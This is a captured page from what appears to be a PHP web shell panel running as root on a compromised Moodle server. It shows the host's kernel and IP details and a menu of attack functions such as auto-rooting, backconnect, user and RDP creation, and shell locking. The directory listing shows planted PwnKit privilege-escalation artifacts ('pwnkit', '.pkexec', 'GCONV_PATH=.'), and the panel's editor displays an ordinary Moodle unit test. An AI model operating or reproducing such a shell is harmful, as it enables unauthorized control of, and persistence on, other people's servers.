Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
question /
type /
ddmarker /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
behat
[ DIR ]
drwxrwxrwx
fixtures
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
edit_form_test.php
3.61
KB
-rwxrwxrwx
helper.php
9.56
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
question_test.php
13.81
KB
-rwxrwxrwx
questiontype_test.php
2.37
KB
-rwxrwxrwx
shapes_test.php
8.23
KB
-rwxrwxrwx
walkthrough_test.php
34.46
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : edit_form_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Unit tests for the drag-and-drop markers edit form. * * @package qtype_ddmarker * @copyright 2019 The Open University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); global $CFG; require_once($CFG->dirroot . '/question/engine/tests/helpers.php'); require_once($CFG->dirroot . '/question/type/edit_question_form.php'); require_once($CFG->dirroot . '/question/type/ddmarker/edit_ddmarker_form.php'); /** * Unit tests for the drag-and-drop markers edit form. * * @copyright 2019 The Open University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class qtype_ddmarker_edit_form_test extends advanced_testcase { /** * Helper method. * * @return array with two elements: * question_edit_form great a question form instance that can be tested. * stdClass the question category. */ protected function get_form() { $this->setAdminUser(); $this->resetAfterTest(); $syscontext = context_system::instance(); $category = question_make_default_categories(array($syscontext)); $fakequestion = new stdClass(); $fakequestion->qtype = 'ddmarker'; $fakequestion->contextid = $syscontext->id; $fakequestion->createdby = 2; $fakequestion->category = $category->id; $fakequestion->questiontext = 'Test question'; $fakequestion->options = new stdClass(); $fakequestion->options->answers = array(); $fakequestion->formoptions = new stdClass(); $fakequestion->formoptions->movecontext = null; $fakequestion->formoptions->repeatelements = true; $fakequestion->inputs = null; $form = new qtype_ddmarker_edit_form(new moodle_url('/'), $fakequestion, $category, new question_edit_contexts($syscontext)); return [$form, $category]; } /** * Test the form correctly validates the HTML allowed in items. */ public function test_item_validation() { list($form, $category) = $this->get_form(); $submitteddata = [ 'category' => $category->id, 'bgimage' => 0, 'nodropzone' => 0, 'noitems' => 4, 'drags' => [ ['label' => 'frog'], ['label' => '<b>toad</b>'], ['label' => '<span lang="fr"><em>chien</em></span>'], ['label' => '<textarea>evil!</textarea>'], ], ]; $errors = $form->validation($submitteddata, []); $this->assertArrayNotHasKey('drags[0]', $errors); $this->assertArrayNotHasKey('drags[1]', $errors); $this->assertArrayNotHasKey('drags[2]', $errors); $this->assertEquals('Only "<br><i><em><b><strong>' . '<sup><sub><u><span>" tags are allowed in the label for a marker.', $errors['drags[3]']); } }
Close